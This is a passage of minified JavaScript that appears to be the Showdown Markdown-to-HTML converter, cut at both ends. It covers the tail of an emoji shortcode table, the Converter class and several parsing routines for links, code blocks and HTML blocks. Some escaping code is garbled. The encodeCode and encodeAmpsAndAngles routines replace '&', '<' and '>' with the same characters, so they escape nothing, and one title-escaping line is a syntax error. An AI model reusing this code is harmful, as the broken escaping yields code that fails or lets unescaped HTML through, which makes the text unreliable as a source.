83d\ude48",seedling:"\ud83c\udf31",selfie:"\ud83e\udd33",shallow_pan_of_food:"\ud83e\udd58",shamrock:"\u2618\ufe0f",shark:"\ud83e\udd88",shaved_ice:"\ud83c\udf67",sheep:"\ud83d\udc11",shell:"\ud83d\udc1a",shield:"\ud83d\udee1",shinto_shrine:"\u26e9",ship:"\ud83d\udea2",shirt:"\ud83d\udc55",shopping:"\ud83d\udecd",shopping_cart:"\ud83d\uded2",shower:"\ud83d\udebf",shrimp:"\ud83e\udd90",signal_strength:"\ud83d\udcf6",six_pointed_star:"\ud83d\udd2f",ski:"\ud83c\udfbf",skier:"\u26f7",skull:"\ud83d\udc80",skull_and_crossbones:"\u2620\ufe0f",sleeping:"\ud83d\ude34",sleeping_bed:"\ud83d\udecc",sleepy:"\ud83d\ude2a",slightly_frowning_face:"\ud83d\ude41",slightly_smiling_face:"\ud83d\ude42",slot_machine:"\ud83c\udfb0",small_airplane:"\ud83d\udee9",small_blue_diamond:"\ud83d\udd39",small_orange_diamond:"\ud83d\udd38",small_red_triangle:"\ud83d\udd3a",small_red_triangle_down:"\ud83d\udd3b",smile:"\ud83d\ude04",smile_cat:"\ud83d\ude38",smiley:"\ud83d\ude03",smiley_cat:"\ud83d\ude3a",smiling_imp:"\ud83d\ude08",smirk:"\ud83d\ude0f",smirk_cat:"\ud83d\ude3c",smoking:"\ud83d\udeac",snail:"\ud83d\udc0c",snake:"\ud83d\udc0d",sneezing_face:"\ud83e\udd27",snowboarder:"\ud83c\udfc2",snowflake:"\u2744\ufe0f",snowman:"\u26c4\ufe0f",snowman_with_snow:"\u2603\ufe0f",sob:"\ud83d\ude2d",soccer:"\u26bd\ufe0f",soon:"\ud83d\udd1c",sos:"\ud83c\udd98",sound:"\ud83d\udd09",space_invader:"\ud83d\udc7e",spades:"\u2660\ufe0f",spaghetti:"\ud83c\udf5d",sparkle:"\u2747\ufe0f",sparkler:"\ud83c\udf87",sparkles:"\u2728",sparkling_heart:"\ud83d\udc96",speak_no_evil:"\ud83d\ude4a",speaker:"\ud83d\udd08",speaking_head:"\ud83d\udde3",speech_balloon:"\ud83d\udcac",speedboat:"\ud83d\udea4",spider:"\ud83d\udd77",spider_web:"\ud83d\udd78",spiral_calendar:"\ud83d\uddd3",spiral_notepad:"\ud83d\uddd2",spoon:"\ud83e\udd44",squid:"\ud83e\udd91",stadium:"\ud83c\udfdf",star:"\u2b50\ufe0f",star2:"\ud83c\udf1f",star_and_crescent:"\u262a\ufe0f",star_of_david:"\u2721\ufe0f",stars:"\ud83c\udf20",station:"\ud83d\ude89",statue_of_liberty:"\ud83d\uddfd",steam_locomotive:"\ud83d\ude82",stew:"\ud83c\udf72",stop_button:"\u23f9",stop_sign:"\ud83d\uded1",stopwatch:"\u23f1",straight_ruler:"\ud83d\udccf",strawberry:"\ud83c\udf53",stuck_out_tongue:"\ud83d\ude1b",stuck_out_tongue_closed_eyes:"\ud83d\ude1d",stuck_out_tongue_winking_eye:"\ud83d\ude1c",studio_microphone:"\ud83c\udf99",stuffed_flatbread:"\ud83e\udd59",sun_behind_large_cloud:"\ud83c\udf25",sun_behind_rain_cloud:"\ud83c\udf26",sun_behind_small_cloud:"\ud83c\udf24",sun_with_face:"\ud83c\udf1e",sunflower:"\ud83c\udf3b",sunglasses:"\ud83d\ude0e",sunny:"\u2600\ufe0f",sunrise:"\ud83c\udf05",sunrise_over_mountains:"\ud83c\udf04",surfing_man:"\ud83c\udfc4",surfing_woman:"\ud83c\udfc4‍\u2640\ufe0f",sushi:"\ud83c\udf63",suspension_railway:"\ud83d\ude9f",sweat:"\ud83d\ude13",sweat_drops:"\ud83d\udca6",sweat_smile:"\ud83d\ude05",sweet_potato:"\ud83c\udf60",swimming_man:"\ud83c\udfca",swimming_woman:"\ud83c\udfca‍\u2640\ufe0f",symbols:"\ud83d\udd23",synagogue:"\ud83d\udd4d",syringe:"\ud83d\udc89",taco:"\ud83c\udf2e",tada:"\ud83c\udf89",tanabata_tree:"\ud83c\udf8b",taurus:"\u2649\ufe0f",taxi:"\ud83d\ude95",tea:"\ud83c\udf75",telephone_receiver:"\ud83d\udcde",telescope:"\ud83d\udd2d",tennis:"\ud83c\udfbe",tent:"\u26fa\ufe0f",thermometer:"\ud83c\udf21",thinking:"\ud83e\udd14",thought_balloon:"\ud83d\udcad",ticket:"\ud83c\udfab",tickets:"\ud83c\udf9f",tiger:"\ud83d\udc2f",tiger2:"\ud83d\udc05",timer_clock:"\u23f2",tipping_hand_man:"\ud83d\udc81‍\u2642\ufe0f",tired_face:"\ud83d\ude2b",tm:"\u2122\ufe0f",toilet:"\ud83d\udebd",tokyo_tower:"\ud83d\uddfc",tomato:"\ud83c\udf45",tongue:"\ud83d\udc45",top:"\ud83d\udd1d",tophat:"\ud83c\udfa9",tornado:"\ud83c\udf2a",trackball:"\ud83d\uddb2",tractor:"\ud83d\ude9c",traffic_light:"\ud83d\udea5",train:"\ud83d\ude8b",train2:"\ud83d\ude86",tram:"\ud83d\ude8a",triangular_flag_on_post:"\ud83d\udea9",triangular_ruler:"\ud83d\udcd0",trident:"\ud83d\udd31",triumph:"\ud83d\ude24",trolleybus:"\ud83d\ude8e",trophy:"\ud83c\udfc6",tropical_drink:"\ud83c\udf79",tropical_fish:"\ud83d\udc20",truck:"\ud83d\ude9a",trumpet:"\ud83c\udfba",tulip:"\ud83c\udf37",tumbler_glass:"\ud83e\udd43",turkey:"\ud83e\udd83",turtle:"\ud83d\udc22",tv:"\ud83d\udcfa",twisted_rightwards_arrows:"\ud83d\udd00",two_hearts:"\ud83d\udc95",two_men_holding_hands:"\ud83d\udc6c",two_women_holding_hands:"\ud83d\udc6d",u5272:"\ud83c\ude39",u5408:"\ud83c\ude34",u55b6:"\ud83c\ude3a",u6307:"\ud83c\ude2f\ufe0f",u6708:"\ud83c\ude37\ufe0f",u6709:"\ud83c\ude36",u6e80:"\ud83c\ude35",u7121:"\ud83c\ude1a\ufe0f",u7533:"\ud83c\ude38",u7981:"\ud83c\ude32",u7a7a:"\ud83c\ude33",umbrella:"\u2614\ufe0f",unamused:"\ud83d\ude12",underage:"\ud83d\udd1e",unicorn:"\ud83e\udd84",unlock:"\ud83d\udd13",up:"\ud83c\udd99",upside_down_face:"\ud83d\ude43",v:"\u270c\ufe0f",vertical_traffic_light:"\ud83d\udea6",vhs:"\ud83d\udcfc",vibration_mode:"\ud83d\udcf3",video_camera:"\ud83d\udcf9",video_game:"\ud83c\udfae",violin:"\ud83c\udfbb",virgo:"\u264d\ufe0f",volcano:"\ud83c\udf0b",volleyball:"\ud83c\udfd0",vs:"\ud83c\udd9a",vulcan_salute:"\ud83d\udd96",walking_man:"\ud83d\udeb6",walking_woman:"\ud83d\udeb6‍\u2640\ufe0f",waning_crescent_moon:"\ud83c\udf18",waning_gibbous_moon:"\ud83c\udf16",warning:"\u26a0\ufe0f",wastebasket:"\ud83d\uddd1",watch:"\u231a\ufe0f",water_buffalo:"\ud83d\udc03",watermelon:"\ud83c\udf49",wave:"\ud83d\udc4b",wavy_dash:"\u3030\ufe0f",waxing_crescent_moon:"\ud83c\udf12",wc:"\ud83d\udebe",weary:"\ud83d\ude29",wedding:"\ud83d\udc92",weight_lifting_man:"\ud83c\udfcb\ufe0f",weight_lifting_woman:"\ud83c\udfcb\ufe0f‍\u2640\ufe0f",whale:"\ud83d\udc33",whale2:"\ud83d\udc0b",wheel_of_dharma:"\u2638\ufe0f",wheelchair:"\u267f\ufe0f",white_check_mark:"\u2705",white_circle:"\u26aa\ufe0f",white_flag:"\ud83c\udff3\ufe0f",white_flower:"\ud83d\udcae",white_large_square:"\u2b1c\ufe0f",white_medium_small_square:"\u25fd\ufe0f",white_medium_square:"\u25fb\ufe0f",white_small_square:"\u25ab\ufe0f",white_square_button:"\ud83d\udd33",wilted_flower:"\ud83e\udd40",wind_chime:"\ud83c\udf90",wind_face:"\ud83c\udf2c",wine_glass:"\ud83c\udf77",wink:"\ud83d\ude09",wolf:"\ud83d\udc3a",woman:"\ud83d\udc69",woman_artist:"\ud83d\udc69‍\ud83c\udfa8",woman_astronaut:"\ud83d\udc69‍\ud83d\ude80",woman_cartwheeling:"\ud83e\udd38‍\u2640\ufe0f",woman_cook:"\ud83d\udc69‍\ud83c\udf73",woman_facepalming:"\ud83e\udd26‍\u2640\ufe0f",woman_factory_worker:"\ud83d\udc69‍\ud83c\udfed",woman_farmer:"\ud83d\udc69‍\ud83c\udf3e",woman_firefighter:"\ud83d\udc69‍\ud83d\ude92",woman_health_worker:"\ud83d\udc69‍\u2695\ufe0f",woman_judge:"\ud83d\udc69‍\u2696\ufe0f",woman_juggling:"\ud83e\udd39‍\u2640\ufe0f",woman_mechanic:"\ud83d\udc69‍\ud83d\udd27",woman_office_worker:"\ud83d\udc69‍\ud83d\udcbc",woman_pilot:"\ud83d\udc69‍\u2708\ufe0f",woman_playing_handball:"\ud83e\udd3e‍\u2640\ufe0f",woman_playing_water_polo:"\ud83e\udd3d‍\u2640\ufe0f",woman_scientist:"\ud83d\udc69‍\ud83d\udd2c",woman_shrugging:"\ud83e\udd37‍\u2640\ufe0f",woman_singer:"\ud83d\udc69‍\ud83c\udfa4",woman_student:"\ud83d\udc69‍\ud83c\udf93",woman_teacher:"\ud83d\udc69‍\ud83c\udfeb",woman_technologist:"\ud83d\udc69‍\ud83d\udcbb",woman_with_turban:"\ud83d\udc73‍\u2640\ufe0f",womans_clothes:"\ud83d\udc5a",womans_hat:"\ud83d\udc52",women_wrestling:"\ud83e\udd3c‍\u2640\ufe0f",womens:"\ud83d\udeba",world_map:"\ud83d\uddfa",worried:"\ud83d\ude1f",wrench:"\ud83d\udd27",writing_hand:"\u270d\ufe0f",x:"\u274c",yellow_heart:"\ud83d\udc9b",yen:"\ud83d\udcb4",yin_yang:"\u262f\ufe0f",yum:"\ud83d\ude0b",zap:"\u26a1\ufe0f",zipper_mouth_face:"\ud83e\udd10",zzz:"\ud83d\udca4",octocat:'<img alt=":octocat:" height="20" width="20" align="absmiddle" src="https://assets-cdn.github.com/images/icons/emoji/octocat.png">',showdown:"<span style=\"font-family: 'Anonymous Pro', monospace; text-decoration: underline; text-decoration-style: dashed; text-decoration-color: #3e8b8a;text-underline-position: under;\">S</span>"},y.Converter=function(a){var r={},o=[],s=[],l={},n=g,i={parsed:{},raw:"",format:""};function c(e,t){if(t=t||null,y.helper.isString(e)){if(t=e=y.helper.stdExtName(e),y.extensions[e])return void function i(e,t){"function"==typeof e&&(e=e(new y.Converter));y.helper.isArray(e)||(e=[e]);var a=m(e,t);if(!a.valid)throw Error(a.error);for(var n=0;n<e.length;++n)switch(e[n].type){case"lang":o.push(e[n]);break;case"output":s.push(e[n]);break;default:throw Error("Extension loader error: Type unrecognized!!!")}}(y.extensions[e],e);if(y.helper.isUndefined(p[e]))throw Error('Extension "'+e+'" could not be loaded. It was either not found or is not a valid extension.');e=p[e]}"function"==typeof e&&(e=e()),y.helper.isArray(e)||(e=[e]);var a=m(e,t);if(!a.valid)throw Error(a.error);for(var n=0;n<e.length;++n){switch(e[n].type){case"lang":o.push(e[n]);break;case"output":s.push(e[n])}if(e[n].hasOwnProperty("listeners"))for(var r in e[n].listeners)e[n].listeners.hasOwnProperty(r)&&d(r,e[n].listeners[r])}}function d(e,t){if(!y.helper.isString(e))throw Error("Invalid argument in converter.listen() method: name must be a string, but "+Rt(e)+" given");if("function"!=typeof t)throw Error("Invalid argument in converter.listen() method: callback must be a function, but "+Rt(t)+" given");l.hasOwnProperty(e)||(l[e]=[]),l[e].push(t)}!function f(){for(var e in a=a||{},u)u.hasOwnProperty(e)&&(r[e]=u[e]);{if("object"!==Rt(a))throw Error("Converter expects the passed parameter to be an object, but "+Rt(a)+" was passed instead.");for(var t in a)a.hasOwnProperty(t)&&(r[t]=a[t])}r.extensions&&y.helper.forEach(r.extensions,c)}(),this._dispatch=function(e,t,a,n){if(l.hasOwnProperty(e))for(var r=0;r<l[e].length;++r){var i=l[e][r](e,t,this,a,n);i&&void 0!==i&&(t=i)}return t},this.listen=function(e,t){return d(e,t),this},this.makeHtml=function(t){if(!t)return t;var a={gHtmlBlocks:[],gHtmlMdBlocks:[],gHtmlSpans:[],gUrls:{},gTitles:{},gDimensions:{},gListLevel:0,hashLinkCounts:{},langExtensions:o,outputModifiers:s,converter:this,ghCodeBlocks:[],metadata:{parsed:{},raw:"",format:""}};return t=(t=(t=(t=(t=t.replace(/\xa8/g,"\xa8T")).replace(/\$/g,"\xa8D")).replace(/\r\n/g,"\n")).replace(/\r/g,"\n")).replace(/\u00A0/g," "),r.smartIndentationFix&&(t=function n(e){var t=e.match(/^\s*/)[0].length,a=new RegExp("^\\s{0,"+t+"}","gm");return e.replace(a,"")}(t)),t="\n\n"+t+"\n\n",t=(t=y.subParser("detab")(t,r,a)).replace(/^[ \t]+$/gm,""),y.helper.forEach(o,function(e){t=y.subParser("runExtension")(e,t,r,a)}),t=y.subParser("metadata")(t,r,a),t=y.subParser("hashPreCodeTags")(t,r,a),t=y.subParser("githubCodeBlocks")(t,r,a),t=y.subParser("hashHTMLBlocks")(t,r,a),t=y.subParser("hashCodeTags")(t,r,a),t=y.subParser("stripLinkDefinitions")(t,r,a),t=y.subParser("blockGamut")(t,r,a),t=y.subParser("unhashHTMLSpans")(t,r,a),t=(t=(t=y.subParser("unescapeSpecialChars")(t,r,a)).replace(/\xa8D/g,"$$")).replace(/\xa8T/g,"\xa8"),t=y.subParser("completeHTMLDocument")(t,r,a),y.helper.forEach(s,function(e){t=y.subParser("runExtension")(e,t,r,a)}),i=a.metadata,t},this.makeMarkdown=this.makeMd=function(e,t){if(e=(e=(e=e.replace(/\r\n/g,"\n")).replace(/\r/g,"\n")).replace(/>[ \t]+</,">\xa8NBSP;<"),!t){if(!window||!window.document)throw new Error("HTMLParser is undefined. If in a webworker or nodejs environment, you need to provide a WHATWG DOM and HTML such as JSDOM");t=window.document}var a=t.createElement("div");a.innerHTML=e;var n={preList:function c(e){for(var t=e.querySelectorAll("pre"),a=[],n=0;n<t.length;++n)if(1===t[n].childElementCount&&"code"===t[n].firstChild.tagName.toLowerCase()){var r=t[n].firstChild.innerHTML.trim(),i=t[n].firstChild.getAttribute("data-language")||"";if(""===i)for(var o=t[n].firstChild.className.split(" "),s=0;s<o.length;++s){var l=o[s].match(/^language-(.+)$/);if(null!==l){i=l[1];break}}r=y.helper.unescapeHTMLEntities(r),a.push(r),t[n].outerHTML='<precode language="'+i+'" precodenum="'+n.toString()+'"></precode>'}else a.push(t[n].innerHTML),t[n].innerHTML="",t[n].setAttribute("prenum",n.toString());return a}(a)};!function s(e){for(var t=0;t<e.childNodes.length;++t){var a=e.childNodes[t];3===a.nodeType?/\S/.test(a.nodeValue)?(a.nodeValue=a.nodeValue.split("\n").join(" "),a.nodeValue=a.nodeValue.replace(/(\s)+/g,"$1")):(e.removeChild(a),--t):1===a.nodeType&&s(a)}}(a);for(var r=a.childNodes,i="",o=0;o<r.length;o++)i+=y.subParser("makeMarkdown.node")(r[o],n);return i},this.setOption=function(e,t){r[e]=t},this.getOption=function(e){return r[e]},this.getOptions=function(){return r},this.addExtension=function(e,t){c(e,t=t||null)},this.useExtension=function(e){c(e)},this.setFlavor=function(e){if(!h.hasOwnProperty(e))throw Error(e+" flavor was not found");var t=h[e];for(var a in n=e,t)t.hasOwnProperty(a)&&(r[a]=t[a])},this.getFlavor=function(){return n},this.removeExtension=function(e){y.helper.isArray(e)||(e=[e]);for(var t=0;t<e.length;++t){for(var a=e[t],n=0;n<o.length;++n)o[n]===a&&o[n].splice(n,1);for(;0<s.length;++n)s[0]===a&&s[0].splice(n,1)}},this.getAllExtensions=function(){return{language:o,output:s}},this.getMetadata=function(e){return e?i.raw:i.parsed},this.getMetadataFormat=function(){return i.format},this._setMetadataPair=function(e,t){i.parsed[e]=t},this._setMetadataFormat=function(e){i.format=e},this._setMetadataRaw=function(e){i.raw=e}},y.subParser("anchors",function(e,l,c){var d=function d(e,t,a,n,r,i,o){if(y.helper.isUndefined(o)&&(o=""),a=a.toLowerCase(),-1<e.search(/\(<?\s*>? ?(['"].*['"])?\)$/m))n="";else if(!n){if(a||(a=t.toLowerCase().replace(/ ?\n/g," ")),n="#"+a,y.helper.isUndefined(c.gUrls[a]))return e;n=c.gUrls[a],y.helper.isUndefined(c.gTitles[a])||(o=c.gTitles[a])}var s='<a href="'+(n=n.replace(y.helper.regexes.asteriskDashAndColon,y.helper.escapeCharactersCallback))+'"';return""!==o&&null!==o&&(s+=' title="'+(o=(o=o.replace(/"/g,""")).replace(y.helper.regexes.asteriskDashAndColon,y.helper.escapeCharactersCallback))+'"'),l.openLinksInNewWindow&&!/^#/.test(n)&&(s+=' rel="noopener noreferrer" target="\xa8E95Eblank"'),s+=">"+t+"</a>"};return e=(e=(e=(e=(e=c.converter._dispatch("anchors.before",e,l,c)).replace(/\[((?:\[[^\]]*]|[^\[\]])*)] ?(?:\n *)?\[(.*?)]()()()()/g,d)).replace(/\[((?:\[[^\]]*]|[^\[\]])*)]()[ \t]*\([ \t]?<([^>]*)>(?:[ \t]*((["'])([^"]*?)\5))?[ \t]?\)/g,d)).replace(/\[((?:\[[^\]]*]|[^\[\]])*)]()[ \t]*\([ \t]?<?([\S]+?(?:\([\S]*?\)[\S]*?)?)>?(?:[ \t]*((["'])([^"]*?)\5))?[ \t]?\)/g,d)).replace(/\[([^\[\]]+)]()()()()()/g,d),l.ghMentions&&(e=e.replace(/(^|\s)(\\)?(@([a-z\d]+(?:[a-z\d.-]+?[a-z\d]+)*))/gim,function(e,t,a,n,r){if("\\"===a)return t+n;if(!y.helper.isString(l.ghMentionsLink))throw new Error("ghMentionsLink option must be a string");var i=l.ghMentionsLink.replace(/\{u}/g,r),o="";return l.openLinksInNewWindow&&(o=' rel="noopener noreferrer" target="\xa8E95Eblank"'),t+'<a href="'+i+'"'+o+">"+n+"</a>"})),e=c.converter._dispatch("anchors.after",e,l,c)});var I,O,o=/([*~_]+|\b)(((https?|ftp|dict):\/\/|www\.)[^'">\s]+?\.[^'">\s]+?)()(\1)?(?=\s|$)(?!["<>])/gi,s=/([*~_]+|\b)(((https?|ftp|dict):\/\/|www\.)[^'">\s]+\.[^'">\s]+?)([.!?,()\[\]])?(\1)?(?=\s|$)(?!["<>])/gi,c=/()<(((https?|ftp|dict):\/\/|www\.)[^'">\s]+)()>()/gi,d=/(^|\s)(?:mailto:)?([A-Za-z0-9!#$%&'*+-/=?^_`{|}~.]+@[-a-z0-9]+(\.[-a-z0-9]+)*\.[a-z]+)(?=$|\s)/gim,f=/<()(?:mailto:)?([-.\w]+@[-a-z0-9]+(\.[-a-z0-9]+)*\.[a-z]+)>/gi,b=function b(p){return function(e,t,a,n,r,i,o){var s=a=a.replace(y.helper.regexes.asteriskDashAndColon,y.helper.escapeCharactersCallback),l="",c="",d=t||"",f=o||"";return/^www\./i.test(a)&&(a=a.replace(/^www\./i,"http://www.")),p.excludeTrailingPunctuationFromURLs&&i&&(l=i),p.openLinksInNewWindow&&(c=' rel="noopener noreferrer" target="\xa8E95Eblank"'),d+'<a href="'+a+'"'+c+">"+s+"</a>"+l+f}},E=function E(r,i){return function(e,t,a){var n="mailto:";return t=t||"",a=y.subParser("unescapeSpecialChars")(a,r,i),r.encodeEmails?(n=y.helper.encodeEmailAddress(n+a),a=y.helper.encodeEmailAddress(a)):n+=a,t+'<a href="'+n+'">'+a+"</a>"}};y.subParser("autoLinks",function(e,t,a){return e=(e=(e=a.converter._dispatch("autoLinks.before",e,t,a)).replace(c,b(t))).replace(f,E(t,a)),e=a.converter._dispatch("autoLinks.after",e,t,a)}),y.subParser("simplifiedAutoLinks",function(e,t,a){return t.simplifiedAutoLink?(e=a.converter._dispatch("simplifiedAutoLinks.before",e,t,a),e=(e=t.excludeTrailingPunctuationFromURLs?e.replace(s,b(t)):e.replace(o,b(t))).replace(d,E(t,a)),e=a.converter._dispatch("simplifiedAutoLinks.after",e,t,a)):e}),y.subParser("blockGamut",function(e,t,a){return e=a.converter._dispatch("blockGamut.before",e,t,a),e=y.subParser("blockQuotes")(e,t,a),e=y.subParser("headers")(e,t,a),e=y.subParser("horizontalRule")(e,t,a),e=y.subParser("lists")(e,t,a),e=y.subParser("codeBlocks")(e,t,a),e=y.subParser("tables")(e,t,a),e=y.subParser("hashHTMLBlocks")(e,t,a),e=y.subParser("paragraphs")(e,t,a),e=a.converter._dispatch("blockGamut.after",e,t,a)}),y.subParser("blockQuotes",function(e,t,a){e=a.converter._dispatch("blockQuotes.before",e,t,a),e+="\n\n";var n=/(^ {0,3}>[ \t]?.+\n(.+\n)*\n*)+/gm;return t.splitAdjacentBlockquotes&&(n=/^ {0,3}>[\s\S]*?(?:\n\n)/gm),e=e.replace(n,function(e){return e=(e=(e=e.replace(/^[ \t]*>[ \t]?/gm,"")).replace(/\xa80/g,"")).replace(/^[ \t]+$/gm,""),e=y.subParser("githubCodeBlocks")(e,t,a),e=(e=(e=y.subParser("blockGamut")(e,t,a)).replace(/(^|\n)/g,"$1 ")).replace(/(\s*<pre>[^\r]+?<\/pre>)/gm,function(e,t){var a=t;return a=(a=a.replace(/^ {2}/gm,"\xa80")).replace(/\xa80/g,"")}),y.subParser("hashBlock")("<blockquote>\n"+e+"\n</blockquote>",t,a)}),e=a.converter._dispatch("blockQuotes.after",e,t,a)}),y.subParser("codeBlocks",function(e,o,s){e=s.converter._dispatch("codeBlocks.before",e,o,s);return e=(e=(e+="\xa80").replace(/(?:\n\n|^)((?:(?:[ ]{4}|\t).*\n+)+)(\n*[ ]{0,3}[^ \t\n]|(?=\xa80))/g,function(e,t,a){var n=t,r=a,i="\n";return n=y.subParser("outdent")(n,o,s),n=y.subParser("encodeCode")(n,o,s),n=(n=(n=y.subParser("detab")(n,o,s)).replace(/^\n+/g,"")).replace(/\n+$/g,""),o.omitExtraWLInCodeBlocks&&(i=""),n="<pre><code>"+n+i+"</code></pre>",y.subParser("hashBlock")(n,o,s)+r})).replace(/\xa80/,""),e=s.converter._dispatch("codeBlocks.after",e,o,s)}),y.subParser("codeSpans",function(e,i,o){return void 0===(e=o.converter._dispatch("codeSpans.before",e,i,o))&&(e=""),e=e.replace(/(^|[^\\])(`+)([^\r]*?[^`])\2(?!`)/gm,function(e,t,a,n){var r=n;return r=(r=r.replace(/^([ \t]*)/g,"")).replace(/[ \t]*$/g,""),r=t+"<code>"+(r=y.subParser("encodeCode")(r,i,o))+"</code>",r=y.subParser("hashHTMLSpans")(r,i,o)}),e=o.converter._dispatch("codeSpans.after",e,i,o)}),y.subParser("completeHTMLDocument",function(e,t,a){if(!t.completeHTMLDocument)return e;e=a.converter._dispatch("completeHTMLDocument.before",e,t,a);var n="html",r="<!DOCTYPE HTML>\n",i="",o='<meta charset="utf-8">\n',s="",l="";for(var c in"undefined"!=typeof a.metadata.parsed.doctype&&(r="<!DOCTYPE "+a.metadata.parsed.doctype+">\n","html"!==(n=a.metadata.parsed.doctype.toString().toLowerCase())&&"html5"!==n||(o='<meta charset="utf-8">')),a.metadata.parsed)if(a.metadata.parsed.hasOwnProperty(c))switch(c.toLowerCase()){case"doctype":break;case"title":i="<title>"+a.metadata.parsed.title+"</title>\n";break;case"charset":o="html"===n||"html5"===n?'<meta charset="'+a.metadata.parsed.charset+'">\n':'<meta name="charset" content="'+a.metadata.parsed.charset+'">\n';break;case"language":case"lang":s=' lang="'+a.metadata.parsed[c]+'"',l+='<meta name="'+c+'" content="'+a.metadata.parsed[c]+'">\n';break;default:l+='<meta name="'+c+'" content="'+a.metadata.parsed[c]+'">\n'}return e=r+"<html"+s+">\n<head>\n"+i+o+l+"</head>\n<body>\n"+e.trim()+"\n</body>\n</html>",e=a.converter._dispatch("completeHTMLDocument.after",e,t,a)}),y.subParser("detab",function(e,t,a){return e=(e=(e=(e=(e=(e=a.converter._dispatch("detab.before",e,t,a)).replace(/\t(?=\t)/g," ")).replace(/\t/g,"\xa8A\xa8B")).replace(/\xa8B(.+?)\xa8A/g,function(e,t){for(var a=t,n=4-a.length%4,r=0;r<n;r++)a+=" ";return a})).replace(/\xa8A/g," ")).replace(/\xa8B/g,""),e=a.converter._dispatch("detab.after",e,t,a)}),y.subParser("ellipsis",function(e,t,a){return e=(e=a.converter._dispatch("ellipsis.before",e,t,a)).replace(/\.\.\./g,"\u2026"),e=a.converter._dispatch("ellipsis.after",e,t,a)}),y.subParser("emoji",function(e,t,a){if(!t.emoji)return e;return e=(e=a.converter._dispatch("emoji.before",e,t,a)).replace(/:([\S]+?):/g,function(e,t){return y.helper.emojis.hasOwnProperty(t)?y.helper.emojis[t]:e}),e=a.converter._dispatch("emoji.after",e,t,a)}),y.subParser("encodeAmpsAndAngles",function(e,t,a){return e=(e=(e=(e=(e=a.converter._dispatch("encodeAmpsAndAngles.before",e,t,a)).replace(/&(?!#?[xX]?(?:[0-9a-fA-F]+|\w+);)/g,"&")).replace(/<(?![a-z\/?$!])/gi,"<")).replace(/</g,"<")).replace(/>/g,">"),e=a.converter._dispatch("encodeAmpsAndAngles.after",e,t,a)}),y.subParser("encodeBackslashEscapes",function(e,t,a){return e=(e=(e=a.converter._dispatch("encodeBackslashEscapes.before",e,t,a)).replace(/\\(\\)/g,y.helper.escapeCharactersCallback)).replace(/\\([`*_{}\[\]()>#+.!~=|-])/g,y.helper.escapeCharactersCallback),e=a.converter._dispatch("encodeBackslashEscapes.after",e,t,a)}),y.subParser("encodeCode",function(e,t,a){return e=(e=a.converter._dispatch("encodeCode.before",e,t,a)).replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/([*_{}\[\]\\=~-])/g,y.helper.escapeCharactersCallback),e=a.converter._dispatch("encodeCode.after",e,t,a)}),y.subParser("escapeSpecialCharsWithinTagAttributes",function(e,t,a){return e=(e=(e=a.converter._dispatch("escapeSpecialCharsWithinTagAttributes.before",e,t,a)).replace(/<\/?[a-z\d_:-]+(?:[\s]+[\s\S]+?)?>/gi,function(e){return e.replace(/(.)<\/?code>(?=.)/g,"$1`").replace(/([\\`*_~=|])/g,y.helper.escapeCharactersCallback)})).replace(/<!(--(?:(?:[^>-]|-[^>])(?:[^-]|-[^-])*)--)>/gi,function(e){return e.replace(/([\\`*_~=|])/g,y.helper.escapeCharactersCallback)}),e=a.converter._dispatch("escapeSpecialCharsWithinTagAttributes.after",e,t,a)}),y.subParser("githubCodeBlocks",function(e,i,o){return i.ghCodeBlocks?(e=o.converter._dispatch("githubCodeBlocks.before",e,i,o),e=(e=(e+="\xa80").replace(/(?:^|\n)(?: {0,3})(```+|~~~+)(?: *)([^\s`~]*)\n([\s\S]*?)\n(?: {0,3})\1/g,function(e,t,a,n){var r=i.omitExtraWLInCodeBlocks?"":"\n";return n=y.subParser("encodeCode")(n,i,o),n="<pre><code"+(a?' class="'+a+" language-"+a+'"':"")+">"+(n=(n=(n=y.subParser("detab")(n,i,o)).replace(/^\n+/g,"")).replace(/\n+$/g,""))+r+"</code></pre>",n=y.subParser("hashBlock")(n,i,o),"\n\n\xa8G"+(o.ghCodeBlocks.push({text:e,codeblock:n})-1)+"G\n\n"})).replace(/\xa80/,""),o.converter._dispatch("githubCodeBlocks.after",e,i,o)):e}),y.subParser("hashBlock",function(e,t,a){return e=(e=a.converter._dispatch("hashBlock.before",e,t,a)).replace(/(^\n+|\n+$)/g,""),e="\n\n\xa8K"+(a.gHtmlBlocks.push(e)-1)+"K\n\n",e=a.converter._dispatch("hashBlock.after",e,t,a)}),y.subParser("hashCodeTags",function(e,i,o){e=o.converter._dispatch("hashCodeTags.before",e,i,o);var s=function s(e,t,a,n){var r=a+y.subParser("encodeCode")(t,i,o)+n;return"\xa8C"+(o.gHtmlSpans.push(r)-1)+"C"};return e=y.helper.replaceRecursiveRegExp(e,s,"<code\\b[^>]*>","</code>","gim"),e=o.converter._dispatch("hashCodeTags.after",e,i,o)}),y.subParser("hashElement",function(e,t,n){return function(e,t){var a=t;return a=(a=(a=a.replace(/\n\n/g,"\n")).replace(/^\n/,"")).replace(/\n+$/g,""),a="\n\n\xa8K"+(n.gHtmlBlocks.push(a)-1)+"K\n\n"}}),y.subParser("hashHTMLBlocks",function(e,t,i){e=i.converter._dispatch("hashHTMLBlocks.before",e,t,i);var a=["pre","div","h1","h2","h3","h4","h5","h6","blockquote","table","dl","ol","ul","script","noscript","form","fieldset","iframe","math","style","section","header","footer","nav","article","aside","address","audio","canvas","figure","hgroup","output","video","p"],o=function o(e,t,a,n){var r=e;return-1!==a.search(/\bmarkdown\b/)&&(r=a+i.converter.makeHtml(t)+n),"\n\n\xa8K"+(i.gHtmlBlocks.push(r)-1)+"K\n\n"};t.backslashEscapesHTMLTags&&(e=e.replace(/\\<(\/?[^>]+?)>/g,function(e,t){return"<"+t+">"}));for(var n=0;n<a.length;++n)for(var r,s=new RegExp("^ {0,3}(<"+a[n]+"\\b[^>]*>)","im"),l="<"+a[n]+"\\b[^>]*>",c="</"+a[n]+">";-1!==(r=y.helper.regexIndexOf(e,s));){var d=y.helper.splitAtIndex(e,r),f=y.helper.replaceRecursiveRegExp(d[1],o,l,c,"im");if(f===d[1])break;e=d[0].concat(f)}return e=e.replace(/(\n {0,3}(<(hr)\b([^<>])*?\/?>)[ \t]*(?=\n{2,}))/g,y.subParser("hashElement")(e,t,i)),e=(e=y.helper.replaceRecursiveRegExp(e,function(e){return"\n\n\xa8K"+(i.gHtmlBlocks.push(e)-1)+"K\n\n"},"^ {0,3}\x3c!--","--\x3e","gm")).replace(/(?:\n\n)( {0,3}(?:<([?%])[^\r]*?\2>)[ 